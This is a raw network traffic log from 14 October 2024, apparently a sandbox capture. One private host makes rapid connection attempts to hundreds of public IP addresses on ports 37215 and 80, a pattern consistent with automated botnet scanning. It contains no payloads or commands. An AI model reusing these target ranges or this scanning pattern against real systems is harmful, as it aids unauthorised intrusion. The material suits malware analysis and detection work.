Oct 14, 2024 17:30:08.886537075 CEST	53786	37215	192.168.2.14	41.198.64.212
Oct 14, 2024 17:30:08.886543036 CEST	53786	37215	192.168.2.14	156.208.10.69
Oct 14, 2024 17:30:08.886545897 CEST	53786	37215	192.168.2.14	156.59.59.85
Oct 14, 2024 17:30:08.886545897 CEST	53786	37215	192.168.2.14	156.53.41.165
Oct 14, 2024 17:30:08.886555910 CEST	53786	37215	192.168.2.14	197.162.102.107
Oct 14, 2024 17:30:08.886573076 CEST	53786	37215	192.168.2.14	41.6.13.116
Oct 14, 2024 17:30:08.886574984 CEST	53786	37215	192.168.2.14	197.211.136.87
Oct 14, 2024 17:30:08.886576891 CEST	53786	37215	192.168.2.14	197.218.117.150
Oct 14, 2024 17:30:08.886581898 CEST	53786	37215	192.168.2.14	41.138.74.152
Oct 14, 2024 17:30:08.886585951 CEST	53786	37215	192.168.2.14	41.103.90.147
Oct 14, 2024 17:30:08.886588097 CEST	53786	37215	192.168.2.14	156.117.60.168
Oct 14, 2024 17:30:08.886595964 CEST	53786	37215	192.168.2.14	156.64.20.216
Oct 14, 2024 17:30:08.886601925 CEST	53786	37215	192.168.2.14	41.173.148.241
Oct 14, 2024 17:30:08.886604071 CEST	53786	37215	192.168.2.14	156.141.147.155
Oct 14, 2024 17:30:08.886604071 CEST	53786	37215	192.168.2.14	197.67.99.154
Oct 14, 2024 17:30:08.886612892 CEST	53786	37215	192.168.2.14	156.169.196.246
Oct 14, 2024 17:30:08.886614084 CEST	53786	37215	192.168.2.14	156.147.249.203
Oct 14, 2024 17:30:08.886622906 CEST	53786	37215	192.168.2.14	156.15.228.52
Oct 14, 2024 17:30:08.886624098 CEST	53786	37215	192.168.2.14	156.113.207.67
Oct 14, 2024 17:30:08.886637926 CEST	53786	37215	192.168.2.14	41.48.112.115
Oct 14, 2024 17:30:08.886653900 CEST	53786	37215	192.168.2.14	197.90.118.84
Oct 14, 2024 17:30:08.886655092 CEST	53786	37215	192.168.2.14	156.38.209.4
Oct 14, 2024 17:30:08.886658907 CEST	53786	37215	192.168.2.14	156.38.176.218
Oct 14, 2024 17:30:08.886672020 CEST	53786	37215	192.168.2.14	41.65.33.47
Oct 14, 2024 17:30:08.886673927 CEST	53786	37215	192.168.2.14	156.204.15.10
Oct 14, 2024 17:30:08.886673927 CEST	53786	37215	192.168.2.14	156.183.208.169
Oct 14, 2024 17:30:08.886684895 CEST	53786	37215	192.168.2.14	41.19.244.241
Oct 14, 2024 17:30:08.886689901 CEST	53786	37215	192.168.2.14	156.139.60.47
Oct 14, 2024 17:30:08.886693001 CEST	53786	37215	192.168.2.14	197.235.160.233
Oct 14, 2024 17:30:08.886704922 CEST	53786	37215	192.168.2.14	41.153.47.240
Oct 14, 2024 17:30:08.886709929 CEST	53786	37215	192.168.2.14	156.230.102.163
Oct 14, 2024 17:30:08.886775970 CEST	33746	37215	192.168.2.14	156.98.87.206
Oct 14, 2024 17:30:08.886775970 CEST	52784	37215	192.168.2.14	156.116.241.186
Oct 14, 2024 17:30:08.886791945 CEST	42754	37215	192.168.2.14	197.207.149.21
Oct 14, 2024 17:30:08.886806965 CEST	33514	37215	192.168.2.14	41.100.104.48
Oct 14, 2024 17:30:08.886811972 CEST	40586	37215	192.168.2.14	197.65.125.173
Oct 14, 2024 17:30:08.886827946 CEST	57906	37215	192.168.2.14	41.17.99.253
Oct 14, 2024 17:30:08.886835098 CEST	39762	37215	192.168.2.14	197.38.3.102
Oct 14, 2024 17:30:08.886854887 CEST	57322	37215	192.168.2.14	156.206.129.117
Oct 14, 2024 17:30:08.886873960 CEST	44930	37215	192.168.2.14	156.144.213.217
Oct 14, 2024 17:30:08.886892080 CEST	48554	37215	192.168.2.14	41.77.118.82
Oct 14, 2024 17:30:08.886914968 CEST	60214	37215	192.168.2.14	41.222.150.142
Oct 14, 2024 17:30:08.886931896 CEST	44728	37215	192.168.2.14	156.55.122.15
Oct 14, 2024 17:30:08.886944056 CEST	58598	37215	192.168.2.14	197.145.170.161
Oct 14, 2024 17:30:08.886951923 CEST	46662	37215	192.168.2.14	197.103.154.219
Oct 14, 2024 17:30:08.886970997 CEST	34110	37215	192.168.2.14	41.3.20.172
Oct 14, 2024 17:30:08.886979103 CEST	50906	37215	192.168.2.14	156.24.176.46
Oct 14, 2024 17:30:08.886989117 CEST	53860	37215	192.168.2.14	197.134.89.254
Oct 14, 2024 17:30:08.887011051 CEST	48384	37215	192.168.2.14	156.242.83.56
Oct 14, 2024 17:30:08.887023926 CEST	51850	37215	192.168.2.14	197.164.218.17
Oct 14, 2024 17:30:08.887037039 CEST	57606	37215	192.168.2.14	197.47.106.138
Oct 14, 2024 17:30:08.887053967 CEST	51292	37215	192.168.2.14	41.127.3.18
Oct 14, 2024 17:30:08.887062073 CEST	55988	37215	192.168.2.14	156.197.122.71
Oct 14, 2024 17:30:08.887082100 CEST	47366	37215	192.168.2.14	41.84.189.6
Oct 14, 2024 17:30:08.887087107 CEST	48088	37215	192.168.2.14	41.105.134.5
Oct 14, 2024 17:30:08.887104034 CEST	34900	37215	192.168.2.14	197.0.236.115
Oct 14, 2024 17:30:08.887115955 CEST	46416	37215	192.168.2.14	197.127.23.194
Oct 14, 2024 17:30:08.887130022 CEST	44378	37215	192.168.2.14	41.242.66.44
Oct 14, 2024 17:30:08.887137890 CEST	36390	37215	192.168.2.14	41.108.88.194
Oct 14, 2024 17:30:08.887146950 CEST	39734	37215	192.168.2.14	156.191.36.59
Oct 14, 2024 17:30:08.887168884 CEST	52604	37215	192.168.2.14	41.213.26.221
Oct 14, 2024 17:30:08.887187958 CEST	35250	37215	192.168.2.14	41.55.68.150
Oct 14, 2024 17:30:08.887193918 CEST	32944	37215	192.168.2.14	41.20.106.78
Oct 14, 2024 17:30:08.887212038 CEST	55662	37215	192.168.2.14	41.58.231.47
Oct 14, 2024 17:30:08.887217999 CEST	56902	37215	192.168.2.14	41.198.207.170
Oct 14, 2024 17:30:08.887236118 CEST	50816	37215	192.168.2.14	156.31.136.219
Oct 14, 2024 17:30:08.887242079 CEST	60926	37215	192.168.2.14	41.192.225.32
Oct 14, 2024 17:30:08.887262106 CEST	55560	37215	192.168.2.14	41.169.11.163
Oct 14, 2024 17:30:08.887271881 CEST	58466	37215	192.168.2.14	197.252.168.241
Oct 14, 2024 17:30:08.887285948 CEST	53382	37215	192.168.2.14	41.200.182.175
Oct 14, 2024 17:30:08.887303114 CEST	41520	37215	192.168.2.14	197.0.45.87
Oct 14, 2024 17:30:08.887310028 CEST	59624	37215	192.168.2.14	156.51.110.104
Oct 14, 2024 17:30:08.887320042 CEST	40416	37215	192.168.2.14	156.231.201.110
Oct 14, 2024 17:30:08.887334108 CEST	46818	37215	192.168.2.14	197.208.230.87
Oct 14, 2024 17:30:08.887350082 CEST	43478	37215	192.168.2.14	156.226.104.51
Oct 14, 2024 17:30:08.887362003 CEST	39718	37215	192.168.2.14	41.118.159.230
Oct 14, 2024 17:30:08.887375116 CEST	60508	37215	192.168.2.14	41.4.105.219
Oct 14, 2024 17:30:08.887393951 CEST	42038	37215	192.168.2.14	41.240.211.200
Oct 14, 2024 17:30:08.887419939 CEST	34070	37215	192.168.2.14	197.20.135.118
Oct 14, 2024 17:30:08.887434006 CEST	42060	37215	192.168.2.14	197.12.183.110
Oct 14, 2024 17:30:08.887438059 CEST	56974	37215	192.168.2.14	156.45.182.155
Oct 14, 2024 17:30:08.887447119 CEST	41748	37215	192.168.2.14	197.198.105.178
Oct 14, 2024 17:30:08.887470007 CEST	55686	37215	192.168.2.14	41.255.30.177
Oct 14, 2024 17:30:08.887470007 CEST	45196	37215	192.168.2.14	41.77.212.154
Oct 14, 2024 17:30:08.887485981 CEST	49386	37215	192.168.2.14	156.165.27.220
Oct 14, 2024 17:30:08.887499094 CEST	40102	37215	192.168.2.14	156.198.69.109
Oct 14, 2024 17:30:08.887506008 CEST	36358	37215	192.168.2.14	41.100.118.62
Oct 14, 2024 17:30:08.887526989 CEST	43046	37215	192.168.2.14	197.231.115.97
Oct 14, 2024 17:30:08.887533903 CEST	41140	37215	192.168.2.14	197.166.18.97
Oct 14, 2024 17:30:08.887557030 CEST	42342	37215	192.168.2.14	197.197.28.134
Oct 14, 2024 17:30:08.887557030 CEST	42584	37215	192.168.2.14	197.206.233.175
Oct 14, 2024 17:30:08.887579918 CEST	36366	37215	192.168.2.14	197.21.38.27
Oct 14, 2024 17:30:08.887599945 CEST	56348	37215	192.168.2.14	41.204.39.117
Oct 14, 2024 17:30:08.887614012 CEST	57908	37215	192.168.2.14	197.134.172.230
Oct 14, 2024 17:30:08.887629986 CEST	54096	37215	192.168.2.14	197.79.102.173
Oct 14, 2024 17:30:08.887646914 CEST	55992	37215	192.168.2.14	197.116.5.11
Oct 14, 2024 17:30:08.887669086 CEST	44480	37215	192.168.2.14	41.253.105.9
Oct 14, 2024 17:30:08.887681961 CEST	51718	37215	192.168.2.14	41.105.168.104
Oct 14, 2024 17:30:08.887693882 CEST	56742	37215	192.168.2.14	197.122.101.107
Oct 14, 2024 17:30:08.887722015 CEST	34648	37215	192.168.2.14	197.230.99.181
Oct 14, 2024 17:30:08.887726068 CEST	38770	37215	192.168.2.14	197.232.27.72
Oct 14, 2024 17:30:08.887746096 CEST	39014	37215	192.168.2.14	156.130.109.31
Oct 14, 2024 17:30:08.887758970 CEST	57222	37215	192.168.2.14	156.181.146.159
Oct 14, 2024 17:30:08.887759924 CEST	38998	37215	192.168.2.14	41.121.101.198
Oct 14, 2024 17:30:08.887784958 CEST	38964	37215	192.168.2.14	197.202.250.81
Oct 14, 2024 17:30:08.887795925 CEST	34780	37215	192.168.2.14	197.85.184.209
Oct 14, 2024 17:30:08.887809992 CEST	57214	37215	192.168.2.14	156.52.254.226
Oct 14, 2024 17:30:08.887821913 CEST	54830	37215	192.168.2.14	156.187.237.227
Oct 14, 2024 17:30:08.887834072 CEST	48544	37215	192.168.2.14	197.36.11.5
Oct 14, 2024 17:30:08.887847900 CEST	42482	37215	192.168.2.14	156.70.69.38
Oct 14, 2024 17:30:08.887865067 CEST	60174	37215	192.168.2.14	197.107.86.175
Oct 14, 2024 17:30:08.887883902 CEST	51894	37215	192.168.2.14	41.130.61.238
Oct 14, 2024 17:30:08.887897968 CEST	54728	37215	192.168.2.14	41.177.64.227
Oct 14, 2024 17:30:08.887917042 CEST	50292	37215	192.168.2.14	156.233.71.157
Oct 14, 2024 17:30:08.887933016 CEST	44636	37215	192.168.2.14	197.171.223.206
Oct 14, 2024 17:30:08.887947083 CEST	52492	37215	192.168.2.14	156.69.169.167
Oct 14, 2024 17:30:08.887958050 CEST	35164	37215	192.168.2.14	41.183.199.175
Oct 14, 2024 17:30:08.887975931 CEST	53490	37215	192.168.2.14	197.83.176.191
Oct 14, 2024 17:30:08.887991905 CEST	38292	37215	192.168.2.14	156.95.227.106
Oct 14, 2024 17:30:08.888008118 CEST	38922	37215	192.168.2.14	156.128.212.250
Oct 14, 2024 17:30:08.888014078 CEST	41960	37215	192.168.2.14	156.231.137.251
Oct 14, 2024 17:30:08.888024092 CEST	54338	37215	192.168.2.14	197.72.42.249
Oct 14, 2024 17:30:08.888047934 CEST	39862	37215	192.168.2.14	41.52.25.164
Oct 14, 2024 17:30:08.888047934 CEST	54776	37215	192.168.2.14	197.105.68.179
Oct 14, 2024 17:30:08.888061047 CEST	41214	37215	192.168.2.14	156.0.169.100
Oct 14, 2024 17:30:08.888088942 CEST	59700	37215	192.168.2.14	156.174.47.184
Oct 14, 2024 17:30:08.888093948 CEST	41274	37215	192.168.2.14	156.197.153.229
Oct 14, 2024 17:30:08.888107061 CEST	39702	37215	192.168.2.14	197.63.49.98
Oct 14, 2024 17:30:08.888123035 CEST	36560	37215	192.168.2.14	197.236.127.100
Oct 14, 2024 17:30:08.889530897 CEST	53274	80	192.168.2.14	47.20.203.253
Oct 14, 2024 17:30:08.889530897 CEST	53274	80	192.168.2.14	122.94.89.170
Oct 14, 2024 17:30:08.889533997 CEST	53274	80	192.168.2.14	59.188.172.232
Oct 14, 2024 17:30:08.889539003 CEST	53274	80	192.168.2.14	216.170.187.53
Oct 14, 2024 17:30:08.889544964 CEST	53274	80	192.168.2.14	24.124.13.146
Oct 14, 2024 17:30:08.889545918 CEST	53274	80	192.168.2.14	71.45.239.4
Oct 14, 2024 17:30:08.889556885 CEST	53274	80	192.168.2.14	107.91.110.211
Oct 14, 2024 17:30:08.889564037 CEST	53274	80	192.168.2.14	156.194.92.15
Oct 14, 2024 17:30:08.889570951 CEST	53274	80	192.168.2.14	80.29.155.238
Oct 14, 2024 17:30:08.889581919 CEST	53274	80	192.168.2.14	88.96.149.0
Oct 14, 2024 17:30:08.889584064 CEST	53274	80	192.168.2.14	176.226.25.57
Oct 14, 2024 17:30:08.889584064 CEST	53274	80	192.168.2.14	78.126.83.226
Oct 14, 2024 17:30:08.889590025 CEST	53274	80	192.168.2.14	157.21.105.9
Oct 14, 2024 17:30:08.889604092 CEST	53274	80	192.168.2.14	198.246.54.44
Oct 14, 2024 17:30:08.889616966 CEST	53274	80	192.168.2.14	116.177.224.186
Oct 14, 2024 17:30:08.889617920 CEST	53274	80	192.168.2.14	60.42.88.144
Oct 14, 2024 17:30:08.889636993 CEST	53274	80	192.168.2.14	162.152.203.251
Oct 14, 2024 17:30:08.889636993 CEST	53274	80	192.168.2.14	58.127.190.143
Oct 14, 2024 17:30:08.889637947 CEST	53274	80	192.168.2.14	195.57.251.223
Oct 14, 2024 17:30:08.889647007 CEST	53274	80	192.168.2.14	125.164.228.72
Oct 14, 2024 17:30:08.889653921 CEST	53274	80	192.168.2.14	8.238.248.122
Oct 14, 2024 17:30:08.889656067 CEST	53274	80	192.168.2.14	80.34.16.217
Oct 14, 2024 17:30:08.889662981 CEST	53274	80	192.168.2.14	73.13.197.96
Oct 14, 2024 17:30:08.889662981 CEST	53274	80	192.168.2.14	103.145.156.80
Oct 14, 2024 17:30:08.889666080 CEST	53274	80	192.168.2.14	31.34.232.68
Oct 14, 2024 17:30:08.889667988 CEST	53274	80	192.168.2.14	193.5.92.89
Oct 14, 2024 17:30:08.889676094 CEST	53274	80	192.168.2.14	171.126.146.159
Oct 14, 2024 17:30:08.889688015 CEST	53274	80	192.168.2.14	78.168.117.214
Oct 14, 2024 17:30:08.889692068 CEST	53274	80	192.168.2.14	120.87.147.17
Oct 14, 2024 17:30:08.889698029 CEST	53274	80	192.168.2.14	129.254.10.67
Oct 14, 2024 17:30:08.889718056 CEST	53274	80	192.168.2.14	212.72.22.249
Oct 14, 2024 17:30:08.889718056 CEST	53274	80	192.168.2.14	77.89.2.229
Oct 14, 2024 17:30:08.889722109 CEST	53274	80	192.168.2.14	182.28.178.111
Oct 14, 2024 17:30:08.889729977 CEST	53274	80	192.168.2.14	200.12.178.43
Oct 14, 2024 17:30:08.889730930 CEST	53274	80	192.168.2.14	222.252.214.35
Oct 14, 2024 17:30:08.889738083 CEST	53274	80	192.168.2.14	46.115.235.170
Oct 14, 2024 17:30:08.889746904 CEST	53274	80	192.168.2.14	220.244.132.0
Oct 14, 2024 17:30:08.889749050 CEST	53274	80	192.168.2.14	163.191.250.181
Oct 14, 2024 17:30:08.889749050 CEST	53274	80	192.168.2.14	46.93.114.34
Oct 14, 2024 17:30:08.889766932 CEST	53274	80	192.168.2.14	31.55.100.109
Oct 14, 2024 17:30:08.889770031 CEST	53274	80	192.168.2.14	115.74.195.95
Oct 14, 2024 17:30:08.889770031 CEST	53274	80	192.168.2.14	74.19.171.5
Oct 14, 2024 17:30:08.889786005 CEST	53274	80	192.168.2.14	89.10.115.26
Oct 14, 2024 17:30:08.889796019 CEST	53274	80	192.168.2.14	156.41.49.209
Oct 14, 2024 17:30:08.889796972 CEST	53274	80	192.168.2.14	176.137.212.225
Oct 14, 2024 17:30:08.889813900 CEST	53274	80	192.168.2.14	140.134.154.223
Oct 14, 2024 17:30:08.889813900 CEST	53274	80	192.168.2.14	45.6.219.66
Oct 14, 2024 17:30:08.889821053 CEST	53274	80	192.168.2.14	86.57.33.12
Oct 14, 2024 17:30:08.889827967 CEST	53274	80	192.168.2.14	213.158.234.169
Oct 14, 2024 17:30:08.889828920 CEST	53274	80	192.168.2.14	18.125.170.183
Oct 14, 2024 17:30:08.889842033 CEST	53274	80	192.168.2.14	141.158.161.190
Oct 14, 2024 17:30:08.889842033 CEST	53274	80	192.168.2.14	142.229.124.102
Oct 14, 2024 17:30:08.889842033 CEST	53274	80	192.168.2.14	221.24.133.74
Oct 14, 2024 17:30:08.889847040 CEST	53274	80	192.168.2.14	1.105.77.218
Oct 14, 2024 17:30:08.889859915 CEST	53274	80	192.168.2.14	59.83.55.5
Oct 14, 2024 17:30:08.889861107 CEST	53274	80	192.168.2.14	100.236.88.106
Oct 14, 2024 17:30:08.889864922 CEST	53274	80	192.168.2.14	66.28.156.229
Oct 14, 2024 17:30:08.889864922 CEST	53274	80	192.168.2.14	49.208.194.247
Oct 14, 2024 17:30:08.889878988 CEST	53274	80	192.168.2.14	147.150.146.193
Oct 14, 2024 17:30:08.889885902 CEST	53274	80	192.168.2.14	39.248.121.80
Oct 14, 2024 17:30:08.889903069 CEST	53274	80	192.168.2.14	196.137.184.244
Oct 14, 2024 17:30:08.889909983 CEST	53274	80	192.168.2.14	71.237.81.112
Oct 14, 2024 17:30:08.889909983 CEST	53274	80	192.168.2.14	201.25.225.212
Oct 14, 2024 17:30:08.889925957 CEST	53274	80	192.168.2.14	77.199.236.137
Oct 14, 2024 17:30:08.889926910 CEST	53274	80	192.168.2.14	78.94.190.55
Oct 14, 2024 17:30:08.889930964 CEST	53274	80	192.168.2.14	19.244.138.112
Oct 14, 2024 17:30:08.889940977 CEST	53274	80	192.168.2.14	130.27.141.31
Oct 14, 2024 17:30:08.889946938 CEST	53274	80	192.168.2.14	176.113.73.154
Oct 14, 2024 17:30:08.889957905 CEST	53274	80	192.168.2.14	54.10.211.27
Oct 14, 2024 17:30:08.889961958 CEST	53274	80	192.168.2.14	64.69.105.223
Oct 14, 2024 17:30:08.889976025 CEST	53274	80	192.168.2.14	158.129.63.85
Oct 14, 2024 17:30:08.889978886 CEST	53274	80	192.168.2.14	107.204.86.172
Oct 14, 2024 17:30:08.889981031 CEST	53274	80	192.168.2.14	145.232.21.212
Oct 14, 2024 17:30:08.889987946 CEST	53274	80	192.168.2.14	101.134.212.137
Oct 14, 2024 17:30:08.889987946 CEST	53274	80	192.168.2.14	132.175.144.245
Oct 14, 2024 17:30:08.890002966 CEST	53274	80	192.168.2.14	158.231.152.114
Oct 14, 2024 17:30:08.890002966 CEST	53274	80	192.168.2.14	116.34.234.117
Oct 14, 2024 17:30:08.890012980 CEST	53274	80	192.168.2.14	200.199.66.230
Oct 14, 2024 17:30:08.890031099 CEST	53274	80	192.168.2.14	208.146.55.222
Oct 14, 2024 17:30:08.890037060 CEST	53274	80	192.168.2.14	207.29.131.85
Oct 14, 2024 17:30:08.890043020 CEST	53274	80	192.168.2.14	107.187.240.64
Oct 14, 2024 17:30:08.890047073 CEST	53274	80	192.168.2.14	185.218.10.114
Oct 14, 2024 17:30:08.890058041 CEST	53274	80	192.168.2.14	135.66.5.94
Oct 14, 2024 17:30:08.890064001 CEST	53274	80	192.168.2.14	95.16.110.237
Oct 14, 2024 17:30:08.890065908 CEST	53274	80	192.168.2.14	219.227.124.180
Oct 14, 2024 17:30:08.890077114 CEST	53274	80	192.168.2.14	174.203.90.167
Oct 14, 2024 17:30:08.890080929 CEST	53274	80	192.168.2.14	65.179.255.248
Oct 14, 2024 17:30:08.890090942 CEST	53274	80	192.168.2.14	47.116.198.240
Oct 14, 2024 17:30:08.890094042 CEST	53274	80	192.168.2.14	161.66.132.237
Oct 14, 2024 17:30:08.890099049 CEST	53274	80	192.168.2.14	160.107.64.9
Oct 14, 2024 17:30:08.890111923 CEST	53274	80	192.168.2.14	187.6.199.154
Oct 14, 2024 17:30:08.890115023 CEST	53274	80	192.168.2.14	178.13.186.126
Oct 14, 2024 17:30:08.890120029 CEST	53274	80	192.168.2.14	101.140.233.54
Oct 14, 2024 17:30:08.890121937 CEST	53274	80	192.168.2.14	80.210.141.135
Oct 14, 2024 17:30:08.890131950 CEST	53274	80	192.168.2.14	34.208.9.164
Oct 14, 2024 17:30:08.890139103 CEST	53274	80	192.168.2.14	70.7.108.192
Oct 14, 2024 17:30:08.890147924 CEST	53274	80	192.168.2.14	165.152.207.59
Oct 14, 2024 17:30:08.890153885 CEST	53274	80	192.168.2.14	27.88.98.223
Oct 14, 2024 17:30:08.890161991 CEST	53274	80	192.168.2.14	210.28.220.244
Oct 14, 2024 17:30:08.890167952 CEST	53274	80	192.168.2.14	205.219.110.70
Oct 14, 2024 17:30:08.890177011 CEST	53274	80	192.168.2.14	120.120.71.181
Oct 14, 2024 17:30:08.890178919 CEST	53274	80	192.168.2.14	89.72.85.238
Oct 14, 2024 17:30:08.890189886 CEST	53274	80	192.168.2.14	96.213.67.74
Oct 14, 2024 17:30:08.890198946 CEST	53274	80	192.168.2.14	124.195.193.3
Oct 14, 2024 17:30:08.890203953 CEST	53274	80	192.168.2.14	218.200.24.143
Oct 14, 2024 17:30:08.890203953 CEST	53274	80	192.168.2.14	148.136.170.182
Oct 14, 2024 17:30:08.890208960 CEST	53274	80	192.168.2.14	49.146.102.7
Oct 14, 2024 17:30:08.890213013 CEST	53274	80	192.168.2.14	158.56.240.203
Oct 14, 2024 17:30:08.890214920 CEST	53274	80	192.168.2.14	103.103.51.201
Oct 14, 2024 17:30:08.890228033 CEST	53274	80	192.168.2.14	221.103.26.46
Oct 14, 2024 17:30:08.890233994 CEST	53274	80	192.168.2.14	172.40.224.174
Oct 14, 2024 17:30:08.890243053 CEST	53274	80	192.168.2.14	125.235.68.186
Oct 14, 2024 17:30:08.890253067 CEST	53274	80	192.168.2.14	141.35.117.55
Oct 14, 2024 17:30:08.890255928 CEST	53274	80	192.168.2.14	41.89.129.7
Oct 14, 2024 17:30:08.890263081 CEST	53274	80	192.168.2.14	134.160.64.207
Oct 14, 2024 17:30:08.890280962 CEST	53274	80	192.168.2.14	217.96.6.66
Oct 14, 2024 17:30:08.890281916 CEST	53274	80	192.168.2.14	156.178.111.101
Oct 14, 2024 17:30:08.890281916 CEST	53274	80	192.168.2.14	151.93.181.2
Oct 14, 2024 17:30:08.890286922 CEST	53274	80	192.168.2.14	205.235.216.157
Oct 14, 2024 17:30:08.890295982 CEST	53274	80	192.168.2.14	13.37.119.255
Oct 14, 2024 17:30:08.890307903 CEST	53274	80	192.168.2.14	57.187.235.121
Oct 14, 2024 17:30:08.890309095 CEST	53274	80	192.168.2.14	196.22.253.222
Oct 14, 2024 17:30:08.890320063 CEST	53274	80	192.168.2.14	145.252.85.18
Oct 14, 2024 17:30:08.890326977 CEST	53274	80	192.168.2.14	48.37.149.66
Oct 14, 2024 17:30:08.890331030 CEST	53274	80	192.168.2.14	69.185.176.95
Oct 14, 2024 17:30:08.890331030 CEST	53274	80	192.168.2.14	146.33.49.131
Oct 14, 2024 17:30:08.890340090 CEST	53274	80	192.168.2.14	134.93.48.10
Oct 14, 2024 17:30:08.890347958 CEST	53274	80	192.168.2.14	25.74.144.215
Oct 14, 2024 17:30:08.890353918 CEST	53274	80	192.168.2.14	148.16.9.46
Oct 14, 2024 17:30:08.890368938 CEST	53274	80	192.168.2.14	1.204.114.104
Oct 14, 2024 17:30:08.890371084 CEST	53274	80	192.168.2.14	175.44.195.86
Oct 14, 2024 17:30:08.890391111 CEST	53274	80	192.168.2.14	187.55.206.75
Oct 14, 2024 17:30:08.890391111 CEST	53274	80	192.168.2.14	135.96.72.112
Oct 14, 2024 17:30:08.890400887 CEST	53274	80	192.168.2.14	180.166.32.151
Oct 14, 2024 17:30:08.890404940 CEST	53274	80	192.168.2.14	145.147.132.82
Oct 14, 2024 17:30:08.890415907 CEST	53274	80	192.168.2.14	217.61.124.178
Oct 14, 2024 17:30:08.890422106 CEST	53274	80	192.168.2.14	211.31.30.16
Oct 14, 2024 17:30:08.890427113 CEST	53274	80	192.168.2.14	130.98.156.188
Oct 14, 2024 17:30:08.890429020 CEST	53274	80	192.168.2.14	209.51.213.228
Oct 14, 2024 17:30:08.890434027 CEST	53274	80	192.168.2.14	43.69.142.186
Oct 14, 2024 17:30:08.890443087 CEST	53274	80	192.168.2.14	200.22.80.7
Oct 14, 2024 17:30:08.890448093 CEST	53274	80	192.168.2.14	218.44.119.178
Oct 14, 2024 17:30:08.890463114 CEST	53274	80	192.168.2.14	48.137.207.82
Oct 14, 2024 17:30:08.890463114 CEST	53274	80	192.168.2.14	88.50.207.40
Oct 14, 2024 17:30:08.890470982 CEST	53274	80	192.168.2.14	178.6.245.47
Oct 14, 2024 17:30:08.890481949 CEST	53274	80	192.168.2.14	39.115.206.20
Oct 14, 2024 17:30:08.890481949 CEST	53274	80	192.168.2.14	145.55.164.32
Oct 14, 2024 17:30:08.890491009 CEST	53274	80	192.168.2.14	96.238.98.232
Oct 14, 2024 17:30:08.890506029 CEST	53274	80	192.168.2.14	110.16.20.51
Oct 14, 2024 17:30:08.890506029 CEST	53274	80	192.168.2.14	223.114.175.212
Oct 14, 2024 17:30:08.890513897 CEST	53274	80	192.168.2.14	146.178.113.24
Oct 14, 2024 17:30:08.890532970 CEST	53274	80	192.168.2.14	90.69.192.144
Oct 14, 2024 17:30:08.890533924 CEST	53274	80	192.168.2.14	86.148.18.172
Oct 14, 2024 17:30:08.890537024 CEST	53274	80	192.168.2.14	67.32.121.21
Oct 14, 2024 17:30:08.890552044 CEST	53274	80	192.168.2.14	76.247.13.21
Oct 14, 2024 17:30:08.890552044 CEST	53274	80	192.168.2.14	52.5.89.160
Oct 14, 2024 17:30:08.890562057 CEST	53274	80	192.168.2.14	161.130.35.220
Oct 14, 2024 17:30:08.890573025 CEST	53274	80	192.168.2.14	135.237.141.233
Oct 14, 2024 17:30:08.890582085 CEST	53274	80	192.168.2.14	142.85.218.148
Oct 14, 2024 17:30:08.890582085 CEST	53274	80	192.168.2.14	19.109.184.242
Oct 14, 2024 17:30:08.890599966 CEST	53274	80	192.168.2.14	64.193.148.58
Oct 14, 2024 17:30:08.890600920 CEST	53274	80	192.168.2.14	152.194.54.172
Oct 14, 2024 17:30:08.890604973 CEST	53274	80	192.168.2.14	194.40.214.213
Oct 14, 2024 17:30:08.890625000 CEST	53274	80	192.168.2.14	177.157.43.237
Oct 14, 2024 17:30:08.890625000 CEST	53274	80	192.168.2.14	23.129.2.184
Oct 14, 2024 17:30:08.890631914 CEST	53274	80	192.168.2.14	44.120.3.54
Oct 14, 2024 17:30:08.890638113 CEST	53274	80	192.168.2.14	201.138.206.118
Oct 14, 2024 17:30:08.890640020 CEST	53274	80	192.168.2.14	168.255.34.121
Oct 14, 2024 17:30:08.890647888 CEST	53274	80	192.168.2.14	109.95.247.37
Oct 14, 2024 17:30:08.890659094 CEST	53274	80	192.168.2.14	194.153.143.184
Oct 14, 2024 17:30:08.890659094 CEST	53274	80	192.168.2.14	125.253.144.93
Oct 14, 2024 17:30:08.890666962 CEST	53274	80	192.168.2.14	201.105.61.139
Oct 14, 2024 17:30:08.890670061 CEST	53274	80	192.168.2.14	165.10.176.141
Oct 14, 2024 17:30:08.890677929 CEST	53274	80	192.168.2.14	216.51.24.208
Oct 14, 2024 17:30:08.890680075 CEST	53274	80	192.168.2.14	47.235.157.80
Oct 14, 2024 17:30:08.890686035 CEST	53274	80	192.168.2.14	38.247.111.234
Oct 14, 2024 17:30:08.890690088 CEST	53274	80	192.168.2.14	86.132.66.20
Oct 14, 2024 17:30:08.890696049 CEST	53274	80	192.168.2.14	45.140.45.190
Oct 14, 2024 17:30:08.890697956 CEST	53274	80	192.168.2.14	192.178.224.113
Oct 14, 2024 17:30:08.890708923 CEST	53274	80	192.168.2.14	188.231.32.252
Oct 14, 2024 17:30:08.890712976 CEST	53274	80	192.168.2.14	216.63.167.34
Oct 14, 2024 17:30:08.890718937 CEST	53274	80	192.168.2.14	180.212.61.128
Oct 14, 2024 17:30:08.890741110 CEST	53274	80	192.168.2.14	93.233.119.112
Oct 14, 2024 17:30:08.890747070 CEST	53274	80	192.168.2.14	130.53.22.201
Oct 14, 2024 17:30:08.890754938 CEST	53274	80	192.168.2.14	70.198.181.223
Oct 14, 2024 17:30:08.890764952 CEST	53274	80	192.168.2.14	117.236.20.158
Oct 14, 2024 17:30:08.890773058 CEST	53274	80	192.168.2.14	88.99.60.210
Oct 14, 2024 17:30:08.890780926 CEST	53274	80	192.168.2.14	172.154.54.186
Oct 14, 2024 17:30:08.890789986 CEST	53274	80	192.168.2.14	139.36.72.112
Oct 14, 2024 17:30:08.890810013 CEST	53274	80	192.168.2.14	216.171.84.56
Oct 14, 2024 17:30:08.890813112 CEST	53274	80	192.168.2.14	144.200.160.181
Oct 14, 2024 17:30:08.890813112 CEST	53274	80	192.168.2.14	122.209.215.211
Oct 14, 2024 17:30:08.890825033 CEST	53274	80	192.168.2.14	8.194.80.10
Oct 14, 2024 17:30:08.890827894 CEST	53274	80	192.168.2.14	187.175.162.44
Oct 14, 2024 17:30:08.890840054 CEST	53274	80	192.168.2.14	206.85.64.32
Oct 14, 2024 17:30:08.890842915 CEST	53274	80	192.168.2.14	113.76.36.34
Oct 14, 2024 17:30:08.890842915 CEST	53274	80	192.168.2.14	147.52.59.185
Oct 14, 2024 17:30:08.890846968 CEST	53274	80	192.168.2.14	208.83.131.47
Oct 14, 2024 17:30:08.890851974 CEST	53274	80	192.168.2.14	167.29.226.184
Oct 14, 2024 17:30:08.890860081 CEST	53274	80	192.168.2.14	32.45.188.22
Oct 14, 2024 17:30:08.890861034 CEST	53274	80	192.168.2.14	91.51.46.106
